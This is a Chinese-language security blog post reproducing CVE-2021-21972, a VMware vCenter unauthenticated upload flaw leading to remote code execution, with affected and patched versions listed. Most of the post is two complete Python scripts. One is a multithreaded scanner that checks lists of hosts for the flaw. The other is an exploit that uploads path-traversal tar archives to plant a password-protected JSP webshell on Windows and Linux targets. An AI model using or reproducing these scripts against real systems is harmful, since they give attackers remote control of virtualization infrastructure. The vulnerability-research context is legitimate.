查看原文
其他

CVE-2021-21972:vSphere Client RCE复现

daxi0ng Timeline Sec 2021-09-02


上方蓝色字体关注我们,一起学安全!作者:daxi0ng@Timeline Sec
本文字数:3676阅读时长:4~6min声明:请勿用作违法用途,否则后果自负


0x01 简介


vSphere是VMware推出的虚化平台套件,包含 ESXi、vCenter Server 等一系列的软件。其中 vCenter Server 为 ESXi 的控制中心,可从单一控制点统一管理数据中心的所有 vSphere 主机和虚拟机,使得 IT 管理员能够提高控制能力,简化入场任务,并降低 IT 环境的管理复杂性与成本。

0x02 漏洞概述


vSphere Client(HTML5在vCenter Server 插件中存在一个远程执行代码漏洞。未授权的攻击者可以通过开放443端口的服务器向vCenterServer发送精心构造的请求,从而在服务器上写入webshell,最终造成远程任意代码执行。


0x03 影响版本


VMware vCenter Server 7.0系列 < 7.0.U1c
VMware vCenter Server 6.7系列 < 6.7.U3l
VMware vCenter Server 6.5系列 < 6.5 U3n


0x04 环境搭建


环境搭建可参考

https://blog.csdn.net/z136370204/article/details/111719373


0x05 漏洞复现



1、首先使用POC来测试是否存在该漏洞

#-*- coding:utf-8 -*-banner = """ @time:2021/02/25 CVE-2021-21972.py C0de by NebulabdSec - @batsu """print(banner)import threadpoolimport randomimport argparseimport http.clientimport urllib3import base64import requestsurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)http.client.HTTPConnection._http_vsn = 10http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'TARGET_URI = "/ui/vropspluginui/rest/services/uploadova"def get_ua(): first_num = random.randint(55, 62) third_num = random.randint(0, 3200) fourth_num = random.randint(0, 140) os_type = [ '(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)', '(X11; Linux x86_64)', '(Macintosh; Intel Mac OS X 10_12_6)' ] chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num) ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36', '(KHTML, like Gecko)', chrome_version, 'Safari/537.36'] ) return uadef CVE_2021_21972(url): # proxies = {"scoks5": "http://127.0.0.1:1081"} proxies = { "http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080", } headers = { 'User-Agent': get_ua() } # data = base64.b64decode(Payload) # files = {'uploadFile': open('all.tar', 'rb')} #linux files = {'uploadFile': open('test.tar', 'rb')} #win targetUrl = url + TARGET_URI try: res = requests.post(url=targetUrl, headers=headers, files=files, verify=False, ) # proxies={'socks5': 'http://127.0.0.1:1081'}) if res.status_code == 200 and "SUCCESS" in res.text: print("[+] URL:{}--------存在CVE-2021-21972漏洞".format(url)) # print("[+] Command success result: " + res.text + "\n") with open("存在漏洞地址.txt", 'a') as fw: fw.write(url + '\n') else: print("[-] " + url + " 没有发现CVE-2021-21972漏洞.\n") # except Exception as e: # print(e) except: print("[-] " + url + " Request ERROR.\n")def multithreading(filename, pools=5): works = [] with open(filename, "r") as f: for i in f: func_params = [i.rstrip("\n")] # func_params = [i] + [cmd] works.append((func_params, None)) pool = threadpool.ThreadPool(pools) reqs = threadpool.makeRequests(CVE_2021_21972, works) [pool.putRequest(req) for req in reqs] pool.wait()def main(): parser = argparse.ArgumentParser() parser.add_argument("-u", "--url", help="Target URL; Example:http://ip:port") parser.add_argument("-f", "--file", help="Url File; Example:url.txt") # parser.add_argument("-t", # "--tar", # help="Create tar File; Example:test.tar") # parser.add_argument("-c", "--cmd", help="Commands to be executed; ") args = parser.parse_args() url = args.url # cmd = args.cmd file_path = args.file # jsp = args.tar # if jsp != None: # print(jsp) # generate_zip(jsp) if url != None and file_path ==None: CVE_2021_21972(url) elif url == None and file_path != None: multithreading(file_path, 10) # 默认15线程if __name__ == "__main__": main()




这个POC也很简单,上传了一个测试文件

里面内容是test,返回success

即证明存在该未授权上传漏洞


2、使用EXP上传shell

'''Author : Sp4ceDate : 2021-02-25 00:18:48LastEditors : Sp4ceLastEditTime : 2021-03-10 12:59:59Description : Challenge Everything.'''import requestsimport osimport argparseimport urllib3import tarfileimport timeimport sys# remove SSL warningurllib3.disable_warnings()# get script work pathWORK_PATH = os.path.split(os.path.realpath(__file__))[0]# init payload pathWINDOWS_PAYLOAD = WORK_PATH + "/payload/Windows.tar"LINUX_DEFAULT_PAYLOAD = WORK_PATH + "/payload/Linux.tar"LINUX_RANDOM_PAYLOAD_SOURCE = WORK_PATH + "/payload/Linux/shell.jsp"LINUX_RANDOM_PAYLOAD_TARFILE = WORK_PATH + "/payload/Linux_Random.tar"# init vulnerable url and shell URLVUL_URI = "/ui/vropspluginui/rest/services/uploadova"WINDOWS_SHELL_URL = "/statsreport/shell.jsp"LINUX_SHELL_URL = "/ui/resources/shell.jsp"# set connect timeoutTIMEOUT = 10# set headersheaders = {}headers[ "User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36"headers["Cache-Control"] = "no-cache"headers["Pragma"] = "no-cache"# get vcenter version,code from @TaroballzChenSM_TEMPLATE = b"""<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <env:Body> <RetrieveServiceContent xmlns="urn:vim25"> <_this type="ServiceInstance">ServiceInstance</_this> </RetrieveServiceContent> </env:Body> </env:Envelope>"""def getValue(sResponse, sTag="vendor"): try: return sResponse.split("<" + sTag + ">")[1].split("</" + sTag + ">")[0] except: pass return ""def getVersion(sURL): oResponse = requests.post(sURL + "/sdk", verify=False, timeout=5, data=SM_TEMPLATE) if oResponse.status_code == 200: sResult = oResponse.text if not "VMware" in getValue(sResult, "vendor"): print("[-] Not a VMware system: " + sURL, "error") return else: sVersion = getValue(sResult, "version") # e.g. 7.0.0 sBuild = getValue(sResult, "build") # e.g. 15934073 sFull = getValue(sResult, "fullName") print("[+] Identified: " + sFull, "good") return sVersion, sBuild print("Not a VMware system: " + sURL, "error") sys.exit()# Utils Functions, Code From @horizon3aidef make_traversal_path(path, level=2): traversal = ".." + "/" fullpath = traversal * level + path return fullpath.replace("\\", "/").replace("//", "/")def archive(file, path): tarf = tarfile.open(LINUX_RANDOM_PAYLOAD_TARFILE, "w") fullpath = make_traversal_path(path, level=2) print("[+] Adding " + file + " as " + fullpath + " to archive") tarf.add(file, fullpath) tarf.close()# Tool Functionsdef checkVul(URL): try: res = requests.get( URL + VUL_URI, verify=False, timeout=TIMEOUT, headers=headers ) print("[*] Check {URL} is vul ...".format(URL=URL)) if res.status_code == 405: print("[!] {URL} IS vul ...".format(URL=URL)) return True else: print("[-] {URL} is NOT vul ...".format(URL=URL)) return False except: print("[-] {URL} connect failed ...".format(URL=URL)) return Falsedef checkShellExist(SHELL_URI): time.sleep( 5 ) # vCenter copy file to web folder need some time, on most test,5s is good re = requests.get(SHELL_URI, verify=False, timeout=TIMEOUT, headers=headers) if re.status_code == 200: return True else: return Falsedef uploadWindowsPayload(URL): file = {"uploadFile": open(WINDOWS_PAYLOAD, "rb")} re = requests.post( URL + VUL_URI, files=file, verify=False, timeout=TIMEOUT, headers=headers ) if "SUCCESS" in re.text: if checkShellExist(URL + WINDOWS_SHELL_URL): print( "[+] Shell exist URL: {url}, default password:rebeyond".format( url=URL + WINDOWS_SHELL_URL ) ) else: print("[-] All payload has been upload but not success.") else: print("[-] All payload has been upload but not success.")def uploadLinuxShell(URL): print("[*] Trying linux default payload...") file = {"uploadFile": open(LINUX_DEFAULT_PAYLOAD, "rb")} re = requests.post( URL + VUL_URI, files=file, verify=False, timeout=TIMEOUT, headers=headers ) if "SUCCESS" in re.text: print("[+] Shell upload success, now check is shell exist...") if checkShellExist(URL + LINUX_SHELL_URL): print( "[+] Shell exist URL: {URL}, default password:rebeyond".format( URL=URL + LINUX_SHELL_URL ) ) else: print( "[-] Shell upload success, BUT NOT EXIST, trying Linux Random payload..." ) uploadLinuxRandomPayload(URL) else: print("[-] Shell upload success, BUT NOT EXIST, trying windows payload...") uploadWindowsPayload(URL)def uploadLinuxRandomPayload(URL): for i in range(0, 120): """ vCenter will regenerate web folder when vCenter Server restart Attempts to brute force web folders up to 120 times """ archive( LINUX_RANDOM_PAYLOAD_SOURCE, "/usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/{REPLACE_RANDOM_ID_HERE}/0/h5ngc.war/resources/shell.jsp".format( REPLACE_RANDOM_ID_HERE=i ), ) file = {"uploadFile": open(LINUX_RANDOM_PAYLOAD_TARFILE, "rb")} re = requests.post( URL + VUL_URI, files=file, verify=False, timeout=TIMEOUT, headers=headers ) if "SUCCESS" in re.text and checkShellExist(URL + LINUX_SHELL_URL): print( "[+] Shell exist URL: {url}, default password:rebeyond".format( url=URL + LINUX_SHELL_URL ) ) print( "[+] Found Server Path exists!!!! Try times {REPLACE_RANDOM_ID_HERE}".format( REPLACE_RANDOM_ID_HERE=i ) ) exit()def banner(): print( """ _______ ________ ___ ___ ___ __ ___ __ ___ ______ ___ / ____\\ \\ / / ____| |__ \\ / _ \\__ \\/_ | |__ \\/_ |/ _ \\____ |__ \\ | | \\ \\ / /| |__ ______ ) | | | | ) || |______ ) || | (_) | / / ) | | | \\ \\/ / | __|______/ /| | | |/ / | |______/ / | |\\__, | / / / / | |____ \\ / | |____ / /_| |_| / /_ | | / /_ | | / / / / / /_ \\_____| \\/ |______| |____|\\___/____||_| |____||_| /_/ /_/ |____| Test On vCenter 6.5 Linux/Windows VMware-VCSA-all-6.7.0-8217866 VMware-VIM-all-6.7.0-8217866 VMware-VCSA-all-6.5.0-16613358 By: Sp4ce Github:https://github.com/NS-Sp4ce """ )if __name__ == "__main__": banner() parser = argparse.ArgumentParser() parser.add_argument( "-url", "--targeturl", type=str, help="Target URL. e.g: -url 192.168.2.1、-url https://192.168.2.1", ) args = parser.parse_args() url = args.targeturl if "https://" not in url: url = "https://" + url if checkVul(url): sVersion, sBuild = getVersion(url) if ( int(sVersion.split(".")[0]) == 6 and int(sVersion.split(".")[1]) == 7 and int(sBuild) >= 13010631 ) or ( (int(sVersion.split(".")[0]) == 7 and int(sVersion.split(".")[1]) == 0) ): print( "[-] vCenter 6.7U2+ running website in memory,so this exp can't work for 6.7 u2+." ) sys.exit() else: uploadLinuxShell(url) elif checkVul(url): sVersion, sBuild = getVersion(url) if ( int(sVersion.split(".")[0]) == 6 and int(sVersion.split(".")[1]) == 7 and int(sBuild) >= 13010631 ) or ( (int(sVersion.split(".")[0]) == 7 and int(sVersion.split(".")[1]) == 0) ): print( "[-] vCenter 6.7U2+ running website in memory,so this exp can't work for 6.7 u2+." ) sys.exit() else: uploadLinuxShell(url) else: parser.print_help()




3、也可使用evilarc项目自行生成所需要的跨目录tar包
example:上传test.txt,内容为dxtest



0x06 修复方式



vCenter Server7.0版本升级到7.0.U1c

vCenter Server6.7版本升级到6.7.U3l

vCenter Server6.5版本升级到6.5 U3n


参考链接:
https://www.vmware.com/security/advisories/VMSA-2021-0002.htmlhttps://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC/blob/main/CVE-2021-21972.py(POC)https://github.com/NS-Sp4ce/CVE-2021-21972/blob/main/CVE-2021-21972.py(EXP)


阅读原文看更多复现文章Timeline Sec 团队
安全路上,与你并肩前行












: . Video Mini Program Like ,轻点两下取消赞 Wow ,轻点两下取消在看

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存